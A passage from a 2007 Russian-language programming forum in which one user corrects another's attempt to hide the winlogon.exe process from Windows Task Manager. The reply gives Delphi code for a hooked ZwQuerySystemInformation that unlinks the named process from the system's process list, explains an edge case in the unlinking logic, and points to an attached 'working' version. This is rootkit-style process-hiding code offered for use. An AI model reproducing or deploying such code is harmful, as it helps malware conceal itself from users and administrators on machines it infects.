Цитата(SneG0K @ 19.12.2007, 21:13 ) | | Этот код должен скрывать винлогон из диспетчера, но при компилировании вылетают ошибки..... помогите разобраться |
Этот код никого не скрывает, это просто код перехватчика. Для того, чтобы произошло скрытие нужно поставить хук на функцию ZwQuerySystemInformation.
И вообще нужно немного по-другому составить код:
| Код | Function NewZwQuerySystemInformation(ASystemInformationClass: dword; ASystemInformation: Pointer; ASystemInformationLength: dword; AReturnLength: PCardinal): NTStatus; stdcall; var Info, Prev: PSYSTEM_PROCESSES; begin Result := TrueZwQuerySystemInformation(ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength);
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and (Result = STATUS_SUCCESS) then begin Info := ASystemInformation; while(Info^.NextEntryDelta > 0) do begin Prev := Info; Info := pointer(dword(Info) + Info^.NextEntryDelta); if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then if Info^.NextEntryDelta=0 then Prev^.NextEntryDelta:=0 else Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; end; end; end; end;
|
Потому что, если скрываемый процесс последний в списке, то Info^.NextEntryDelta=0 и строка Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; ничего не делает
В аттаче рабочий вариант скрытия винлогона. |